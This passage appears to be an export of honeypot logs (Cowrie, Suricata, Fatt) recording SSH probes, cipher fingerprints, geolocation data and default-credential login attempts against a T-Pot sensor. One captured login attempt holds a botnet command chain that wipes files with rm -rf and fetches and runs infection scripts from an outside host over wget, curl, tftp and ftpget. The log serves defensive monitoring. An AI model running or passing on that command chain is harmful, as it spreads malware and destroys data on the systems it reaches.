"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 57142, "dest_port": 22, "timestamp": "2021-09-20T11:41:09.300337", "@timestamp": "2021-09-20T11:41:09.300Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31020	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:41:10.091355+03	2021-09-20 14:45:03.938142+03	{"_id": "BQYCA3wBvYTbRNuEikGv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.login.failed", "message": "login attempt [sinusbot/sinusbot] failed", "session": "d9c6352c4257", "@version": "1", "password": "sinusbot", "username": "sinusbot", "timestamp": "2021-09-20T11:41:10.091355Z", "@timestamp": "2021-09-20T11:41:10.091Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31021	157.245.53.4	109.199.241.180	Suricata	2021-09-20 14:41:15.786389+03	2021-09-20 14:45:03.939142+03	{"_id": "IwYCA3wBvYTbRNuEn0H7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:41:15.412898+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1217}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1350489977081058, "payload": "AAADVAUUGkRTY1OzHXQQVRlOarIvOQAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAC0Smb61A==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38752, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:41:15.786389Z", "@timestamp": "2021-09-20T11:41:15.786Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T...DScS..t.U.Nj./9....ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none..............Jf.."}}	1	\N	\N	alert	\N	\N
31028	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:41:16.544323+03	2021-09-20 14:45:03.948175+03	{"_id": "KAYCA3wBvYTbRNuEokEl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.login.failed", "message": "login attempt [odoo/odoo] failed", "session": "b1a2b010fc7d", "@version": "1", "password": "odoo", "username": "odoo", "timestamp": "2021-09-20T11:41:16.544323Z", "@timestamp": "2021-09-20T11:41:16.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
31022	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:41:15.767208+03	2021-09-20 14:45:03.940173+03	{"_id": "JgYCA3wBvYTbRNuEoEHq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "157.245.53.4", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38752, "timestamp": "2021-09-20T11:41:15.767208", "@timestamp": "2021-09-20T11:41:15.767Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31023	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:41:15.787052+03	2021-09-20 14:45:03.941175+03	{"_id": "JwYCA3wBvYTbRNuEokEl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "b1a2b010fc7d", "@version": "1", "timestamp": "2021-09-20T11:41:15.787052Z", "@timestamp": "2021-09-20T11:41:15.787Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
31024	123.124.200.114	109.199.241.180	Suricata	2021-09-20 14:41:19.581141+03	2021-09-20 14:45:03.942171+03	{"_id": "PgYCA3wBvYTbRNuEr0Gd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:41:18.884476+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.124.200.114", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 911024628596476, "payload": "AAADzAYUeS8rUC9b0JPyT2SJKj6HYgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 3738, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:41:19.581141Z", "@timestamp": "2021-09-20T11:41:19.581Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......y/+P/[...Od.*>.b...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31025	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:41:19.236267+03	2021-09-20 14:45:03.944172+03	{"_id": "PwYCA3wBvYTbRNuEsEGM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.124.200.114", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 3738, "timestamp": "2021-09-20T11:41:19.236267", "@timestamp": "2021-09-20T11:41:19.236Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31026	157.245.53.4	109.199.241.180	Suricata	2021-09-20 14:41:15.767034+03	2021-09-20 14:45:03.945172+03	{"_id": "JAYCA3wBvYTbRNuEn0H7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "flow_id": 1350489977081058, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38752, "dest_port": 22, "timestamp": "2021-09-20T11:41:15.767034Z", "@timestamp": "2021-09-20T11:41:15.767Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
31027	157.245.53.4	109.199.241.180	Fatt	2021-09-20 14:41:15.786389+03	2021-09-20 14:45:03.947177+03	{"_id": "JQYCA3wBvYTbRNuEoEHq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-libssh2_1.9.0", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 38752, "dest_port": 22, "timestamp": "2021-09-20T11:41:15.786389", "@timestamp": "2021-09-20T11:41:15.786Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31030	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:41:19.376552+03	2021-09-20 14:45:03.950145+03	{"_id": "OQYCA3wBvYTbRNuErUHf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.login.failed", "message": "login attempt [sh/cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf *; wget http://betaalverzoek.ir/binInfect.sh; curl -O http://betaalverzoek.ir/binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp betaalverzoek.ir -c get binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp -r binInfect2.sh -g betaalverzoek.ir; chmod 777 binInfect2.sh; sh binInfect2.sh; ftpget -v -u anonymous -p anonymous -P 21 betaalverzoek.ir binInfect1.sh binInfect1.sh; sh binInfect1.sh; rm -rf binInfect.sh binInfect.sh binInfect2.sh binInfect1.sh; rm -rf *] failed", "session": "7a8965eca41f", "@version": "1", "password": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf *; wget http://betaalverzoek.ir/binInfect.sh; curl -O http://betaalverzoek.ir/binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp betaalverzoek.ir -c get binInfect.sh; chmod 777 binInfect.sh; sh binInfect.sh; tftp -r binInfect2.sh -g betaalverzoek.ir; chmod 777 binInfect2.sh; sh binInfect2.sh; ftpget -v -u anonymous -p anonymous -P 21 betaalverzoek.ir binInfect1.sh binInfect1.sh; sh binInfect1.sh; rm -rf binInfect.sh binInfect.sh binInfect2.sh binInfect1.sh; rm -rf *", "username": "sh", "timestamp": "2021-09-20T11:41:19.376552Z", "@timestamp": "2021-09-20T11:41:19.376Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31031	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:41:19.231898+03	2021-09-20 14:45:03.952172+03	{"_id": "OgYCA3wBvYTbRNuErUHf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.124.200.114:3738 (192.168.176.2:22) [session: 3eb152eaa0c5]", "session": "3eb152eaa0c5", "@version": "1", "protocol": "ssh", "src_port": 3738, "dest_port": 22, "timestamp": "2021-09-20T11:41:19.231898Z", "@timestamp": "2021-09-20T11:41:19.231Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31032	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:41:19.234773+03	2021-09-20 14:45:03.953176+03	{"_id": "OwYCA3wBvYTbRNuErUHf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.client.version", "message": 